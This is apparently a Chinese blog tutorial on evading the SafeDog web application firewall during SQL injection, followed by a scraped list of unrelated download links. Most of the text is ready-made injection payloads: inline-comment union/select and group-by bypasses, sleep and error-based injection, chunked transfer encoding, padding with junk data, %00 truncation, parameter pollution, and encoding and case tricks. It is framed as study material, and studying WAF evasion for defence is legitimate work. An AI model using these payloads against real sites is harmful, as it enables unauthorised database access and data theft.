SQL注入绕过安全狗

本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。

添加星标不迷路

WAF(Web应用防火墙)是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。通俗来说就是WAF产品里集成了一定的检测规则,会对每个请求的内容根据生成的规则进行检测并对不符合安全规则的作出对应的防御处理,从而保证Web应用的安全性与合法性。

拦截:

不拦截:

常见的替代方法2.1代替空格%20%09%0a%0b%0c%0d%a0%00/**//*!*/(内联注释)--%0a--ABC%0a(access)%23%0a%23qwe%0a%23%0A(使用emoji表情)2.2代替等号id=1'like'1'='1id=1'and'1'regexp'1id=1''1'regexp'1id=1'and'1'<>'2这个值不相等的时候,结果为真。2.3代替sleep()使用BENCHMARK()函数进行代替sleep,该函数的作用是进行循环执行,如果你设置的循环执行的次数足够大,就能够造成延迟的效果。

仅支持查询单行单列的结果,如果存在单行单列的执行结果,则可以正常执行,反之则报错,执行失败。

总结:一般来说,内联注释只有在紧跟版本号的情况下才有意义,其主要目的是通过版本号来控制部分语句在不同MySQL版本下的执行情况。

下面都是结合内联注释绕过的方法:

这里如果使用orderby和内联注释一起,是绕不过的,改成groupby即可绕过。

id=1'groupby1--+id=1'/*!44444group*//*!44443by*/3--+id=1'/**/order/*/**/by/**/1'id=1'/**/order/*/**/by/**/1--+id=1'/**/order/*/%0a*a*/by/**/3%233.2unionselect绕过id=1'union/*/1*1*//*!44444select*/1,2,3--+id=2%27union/*/%*%*//*!44444select*/1,2,3%23id=2%27union/*/1/%111*%*//*!44444select*/1,2,3%23id=2%27union/*/11*11/%*//*!44444select*/1,2,3%23id=1like'[%23]'/*!10444union%0Aselect*/1,2,3--+id=-1like'[%23]''/*!10444union%0Aselect*/1,2,3--+if(1=1,sleep(1),1)绕过id=1'and/*/sdas*sdad*/if(1=1,sleep(/**/5),2)%23id=1'and/*/sdas*sdad*/if(1=1,sleep(/**/3/**/),2)%233.3联合查询注入绕过id=-1like'[%23]''/*!10444union%0Aselect*/1,database(/*!44444*/),3--+id=-1like'[%23]'/*!10444union%0Aselect*/1,database(/*!44444*/),3--+3.4报错注入绕过这里会检测updatexml(),因此想方法将updatexml和()分开下面是探测数据库版本。

下面是探测数据库名。

四、分块传输绕过在POST型注入,有一个王炸,那就是分段传输!

在burp中关闭自动补全,删掉Content-Length:37,添加Tranfer-Enconding:chunked就代表是分块传输了,下面字符依次类推,注意结束时有两个空行。

PS:Content-Length是HTTP消息长度的意思,是用十进制数字表示的八位字节数目,它限制了消息的长度,删除它再添加传输编码方式可以破除限制并且允许使用分块传输。

当然,burp中有一个分块传输的插件,可以一键分块传输,更加放包。

五、脏数据绕过(大参数绕过)脏数据绕过,一般都是在POST中,如果在get型输入单引号发现报错,但是使用报错函数的时候就无法访问,这时候可与尝试进行改成POST,测试后台是否接收,如果接收就可以尝试脏数据绕过waf。

WAF在设计的时候都会考虑到性能问题,检测数据包的包长或检测数据流长度,有一个限制。因此在设计WAF的时候可能就有一个默认值,默认多少个字节的流大小,或是多少个数据包。此时可以向HTTPPOST添加填充数据,达到一定数目之后,POST中的sql注入恶意代码没有被检测了,达到了bypass的目的。利用脚本生成器生成大量垃圾字符。

like在mysql中是一个筛选的作用,那么以下语句的含义就是,先查询表中id=-13且存在#的数据(查询结果为空),执行后面的uinonselect语句。

所以猜测当安全狗识别到查询语句有#,截断数据#后的语句不进行检查,然后发给服务器,但是mysql会执行该语句,从而达到绕过。

注:经过验证上述的猜测不完全对,安全狗对#截断后的数据还会做检查,只不过不够严谨,所以在unionselect中间再加入%0a换行即可绕过。

在1后面加上%00,原理是waf把空字节认为是结束导致了后面的语句可以绕过。%00截断在GET中被url解码之后是空字符。但是在post不会像get对%00进行自动解码,所以提前进行decode解码或者通过burpsuite修改hex值为00(URLdecode)进行截断。

%00并不是所有的东西都会截断。

在get类型中这样绕过即可

id=1%00'order+by+1%23id=1%00'order--%0aby%0a1%23在post类型需要一次urldecode,或者直接在hex改成00结果是一样的。

id=1')orderby1#八、其他绕过方式(下面的不保证绕过安全狗,仅供学习)

对目标发送多个参数,如果目标没有多参数进行多次过滤,那么WAF对多个参数只会识别其中的一个。举例:

id=1&id=2&id=3组合绕过以上所学习的知识点结合在一起,这样能大幅提高绕过WAF的可能性

举例:

id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM/*!information_schema*/.tables/*!WHERE*/+/*!TaBlE_ScHeMa*/+like+database()--编码绕过针对WAF过滤的字符编码,如使用URL编码,Unicode编码,十六进制编码,Hex编码等.

unionselect1,2,3#=union%0aselect1\u002c2,3%23关键词大小写绕过有的WAF因为规则设计的问题,只匹配纯大写或纯小写的字符,对字符大小写混写直接无视,这时,我们可以利用这一点来进行绕过

unionselect--->unIOnSeLEcT伪注释绕过wafWAF会避免消耗大量内存去匹配危险函数,故会直接忽略'有效注释'中的内容,而攻击者可以构造不存在的参数来实现'伪注释'

a=/*&id=1&b=*/同义词替换and=&&or=||=(等于号)=<、>空格不能使用=%09,%0a,%0b,%0c,%0d,%20,%a0等注:%0a是换行也可以替代空格

最后说一句,如果我们在SQL注入的过程中遇到某个WAF,第一个考虑的是这里的参数是不是可以通过POST或者Cookie来进行传参,如非必要尽量不要在GET中进行SQL注入。

例如安全狗,在POST型注入的时候,连简单的报错注入都不拦截。

THE END
1.安全软件下载安全软件免费下载[软件合集]本站安全软件合集为您提供安全软件相关最新资源下载安装。本合集有360安全卫士、腾讯电脑管家、火绒安全软件等软件。关注本站安全软件合集帮您掌握安全软件最新版本动态,并提供同类型相关软件的下载,望能助您提升效率,快速解决遇到的难题!欢迎大家关注本站,了解更多资讯! 共...https://www.downza.cn/zt/13579.html
2.金狗保险柜总部电话多少《2024汇总》郫都区金狗保险柜各号码《今日汇总》 郫都区金狗保险柜各热线号码2024已更新(2024已更新) 郫都区金狗保险柜维修电话:(1)400-9963-901(点击咨询)(2)400-9963-901(点击咨询) 郫都区金狗保险柜24小时热线(1)400-9963-901(点击咨询)(2)400-9963-901(点击咨询) 郫都区金狗保险柜各区点热线号码《今日发...http://m.7y72.cn/jpost/SYMAbsMzD8xLNp.html?%E9%87%91%E7%8B%97%E4%BF%9D%E9%99%A9%E6%9F%9C
3.安全狗文件绕过iwhattt(8)空格添加法 (9)分号法 (10)删除content-type (11)header中添加任意字符 (12)删除form-data (13)双后缀名绕过 0x02示例过安全狗 安全狗4.0# (1)filename换行 (2)filename多=号 (3)多分号 (4)修改文件后缀 (5)多单引号 安全狗3.5# (1)删除form-data ...https://www.cnblogs.com/ihacker/p/11406241.html
4.SQL注入安全狗apache3.5.12048版本绕过(下)SQL注入 安全狗apache3.5.12048版本绕过 2. 测试and 直接使用and的时候,没有异常,但是使用and 1=1的时候,出现问题 正常 Welcome Dhakkan YANDARERGMYUS款mm心YMoe 曝样式编辑器 存储 口查吞器 网络 调试器 无障碍环境 性第 应用程序 内存 四控制台 ...https://developer.aliyun.com/article/1215010
5.服务器安全配置常用软件站长服务器常用软件服务器常用组件站长...为了满足经常维护服务器的朋友,我们特整理了一些服务器安全配置常用软件、组件,连接服务器的客户端等软件下载http://s.jb51.net/
6.网站安全狗IIS枸杞2版v3.5.11497网站安全狗IIS枸杞2版 v3.5.11497 网站安全狗是一款集网站内容安全防护、网站资源保护及网站流量保护功能为一体的服务器工具。功能涵盖网马/木马扫描、防SQL注入、防盗链、防黑链、防CC攻击、下载线程保护、IP黑白名单管理、实时流量监控、实时CPU监控等功能,并提供了界面密码保护功能。作为...https://www.iteye.com/resource/weixin_38595019-13457325
1.手机安全软件安卓安全软件咕咕猪手机安全软件合集为你提供手机安全软件,安卓安全软件,iPhone安全软件 ...详情下载列表 相关专题 最新专题 本类排行榜 手机安全软件易视看摄像头 安全 2024-11-21 12321助手 系统 2024-11-20 掌信签 系统 2024-11-20 防监听大师 系统 2024-11-20 2345清理王 系统 2024-11-19 千鸟物联摄像头app ...https://www.guguzhu.com/zt/anquan/
2.ZOOMSERVO兽狗牧场:动物的温馨家园卫士下载站 首页 游戏资讯 攻略问答 人气游戏 应用软件 ZOOMSERVO 兽狗牧场:动物的温馨家园日期:2024-11-18 13:27:59 频道:游戏资讯 在这个快节奏的现代社会中,我们常常忽略了与动物之间的亲密联系。ZOOMSERVO 兽狗牧场为我们提供了一个重新与动物建立联系的机会,让我们了解到动物不仅仅是我们的伙伴,更是我们的...http://m.k2shilichunfeng.com/k2news/5618.html
3.ZOOMSERVO兽狗最新版本:相关介绍随着ZOOMSERVO 兽狗的广泛应用,也引发了一些关于和社会影响的思考。例如,在一些特殊情况下,它的使用可能会涉及到隐私问题和安全风险。如何在发挥其优势的合理规范其使用,确保其对社会产生积极的影响,是我们需要认真面对和解决的问题。 ZOOMSERVO 兽狗的最新版本代表了科技发展的前沿成果。它的出现为我们的生活和工作带...http://m.akbattery.com/akgl/125188.html
4.ZOOMSERVO兽狗:强大的机械伙伴ZOOMSERVO 兽狗还具备强大的安全保护功能。它配备了先进的传感器和警报系统,能够及时发现并防范潜在的危险。它可以保护主人的家庭安全、防止陌生人入侵,还可以在主人遇到紧急情况时及时发出警报并寻求帮助。 ZOOMSERVO 兽狗不仅是一款实用的机械伙伴,更是一个有趣的玩伴。它可以与主人一起玩耍、互动,为主人带来无尽的欢...http://m.sylab.com.cn/sydt/20015.html
5.狗的6合和3合/手机APP下载(最新版)★配合爱牵挂关爱系列智能设备,随时关注家人健康与安全情况。 ---主要功能--- 智能远程照护——远程定位、一键SOS、电子防狗的6合和3合走失围栏、在家离家判定……完善的功能助你方便、省心的照护家人。 健康监测——不管是自己还是远在家乡的父母亲,通过绑定关爱系列智能设备,即可随时随地掌握自己的心率、血压、睡...http://tgbus.com/caipiaonewsim629/
6.网站安全狗Apache版网站安全狗Apache版下载v3.5.1204...网站安全狗是为IDC运营商、虚拟主机服务商、企业主机、服务器管理者等用户提供服务器安全防范的实用系统,是集网站内容安全防护、网站资源保护及网站流量保护功能为一体的服务器网站安全防护软件。功能涵盖了网马/木马扫描、防SQL注入、防盗链、防CC攻击、网站流量实时监控、网站CPU监控、下载线程保护、IP黑白名单管理等模...https://www.wmzhe.com/soft-7481.html
7.网站安全狗IIS版网站安全防护V3.5.11493安全技术网站安全狗是一款集网站内容安全防护、网站资源保护及网站流量保护功能为一体的网站安全防护软件。功能涵盖了网马/木马扫描、防SQL注入、防盗链、防CC攻击、网站流量实时监控、网站CPU监控、下载线程保护、IP黑白名单管理等。软件支持全系列的Windows服务器操作系统(Windows2003/Windows2008/Windows2012 32位 64位)。https://www.coder100.com/index/index/content/id/1980569
8.安全狗3.5创建服务器名安全狗注册同时,通过点击服务器安全狗信息窗上的“显示主窗口”或者“隐藏主窗口”按钮可以实现信息窗与服务器安全狗主面板的切换。 使用步骤 在你的服务器上下载安装一款名为安全狗的服务器安全软件。安装后如下图所示: 2.设置网络防火墙一栏。 将下面的相关安全全部开启:DDOS防火墙、CC攻击、ARP防火墙、应用防火墙 ...http://shouzuofang.com/article/dojesed.html
9.安全狗3.5版本SQL注入绕过安全狗3.5from绕过安全狗3.5版本SQL注入绕过 博主成功解决新版安全狗Apache服务启动问题,关键在于理解`/*!60000xxx*/`对MySQL版本的限制。分享了使用特定SQL注释绕过union和select拦截的方法,以及版本差异对拦截策略的影响。 摘要由CSDN通过智能技术生成 环境搭建: phpstudy+sqli-labs-master...https://blog.csdn.net/weixin_40052958/article/details/118895192
10.网站安全狗Apache版V4.0正式版下载网站安全狗是一款集网站内容安全防护、网站资源保护及网站流量保护功能为一体的服务器工具。功能涵盖网马/木马扫描、防SQL注入、防盗链、防CC攻击、下载线程保护、IP黑白名单管理等功能。作为服务器安全专家,这套软件已通过公安部信息安全产品检测中心的检测,并获检验合格证书。 https://www.xiazaiba.com/html/1562.html
11.安全狗软件下载服务器安全狗安全狗官方下载服务器防护软件哪个好?安全狗是一款注重于电脑网络安全服务管理工具,依托云端技术和大数据安全分析能力为用户提供专业的云安全产品与服务,IT猫扑网小编为大家准备了安全狗软件大全,内含有安全狗服云客户端、安全狗服务器版、网站安全狗Apache版、安全狗服云app等,满足大家的需求。快来IT猫扑网瞧瞧吧!https://www.itmop.com/key/anquangou
12.SQL注入安全狗超大数据包绕过腾讯云开发者社区这里演示的是安全狗apache3.5.12048版本超大数据包绕过,后面还会分享4.0版本的一些教程,教程难免有纰漏,请各位谅解 测试版本:apache3.5.12048版本 0x01 测试条件 这个是get请求的,要求对方可以接收post请求,也就是说对方应该是REQUEST接收方式。 测试所使用的靶场为sqli-labs靶场 ...https://cloud.tencent.com/developer/article/1856683
13.代码审计XYHCMSV3.5URL重定向漏洞分析2.V3.5内测版新增币额宝随存随取高收益产品 Qbao NetworkV3.5内测版本中,币额宝新增ETH、QTUM等多个币种随 网站安全狗V3.5枸杞版正式发布 、最高效的服务器安全管理及服务。本次网站安全狗V3.5枸杞版就是根据用户反馈的意见进行更新修复的版本。具体修复内容如下:1、优化网马查杀引擎,提高查杀效率与准确率;2、...https://www.pianshen.com/article/4800128688/
14.传神3脱机挂3.5正式版+挂机脚本编辑器怀旧传奇3论坛收藏的一些光通时代的脱机挂,喜欢的拿去收藏。http://www.cq3.in/thread-2819-1-1.html
15.九游APP官网九游游戏中心安卓iOS下载【下载次数516】现在下载,新用户还送新人礼包?九游app官网入口安全狗互联网安全实验室(SafeDog Internet Security Lab)推出的集云核算与服务器重要数据备份为一体的云安全服务项目。安全狗云备份首要用于为广阔用户供给包含网站文件、数据库文件、配置文件等服务器、网站重要数据备份及备份复原功用,一起,...http://www.m.share.shispan.com/rqO/detail/qKkPYn.html